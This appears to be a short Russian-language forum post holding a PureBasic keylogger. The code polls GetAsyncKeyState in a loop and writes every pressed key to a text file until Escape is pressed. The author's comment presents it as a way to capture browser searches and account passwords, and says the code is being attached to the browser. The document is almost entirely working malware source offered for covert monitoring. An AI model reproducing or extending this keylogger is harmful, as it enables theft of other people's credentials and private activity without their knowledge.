Считываем символы
- If OpenFile(0,"C:\Users\AsusMM\Desktop\текст.txt")
- FileSeek(0,Lof(00))
- Repeat
- Delay(10)
- For r=4 To 255 ;0..4 - системные бипперы
- If GetAsyncKeyState_(r)=-32767
- WriteByte(0,r)
- FlushFileBuffers(0)
- EndIf
- Next r
- Until GetAsyncKeyState_(#PB_Shortcut_Escape)
- CloseFile(0)
- EndIf
- End
Записываем все нажатые клавиши в текстовый файл. Возможностей море, от мониторинга поисков в браузере, до паролей учеток и т.п. Сейчас привязываю этот код к работе браузера)
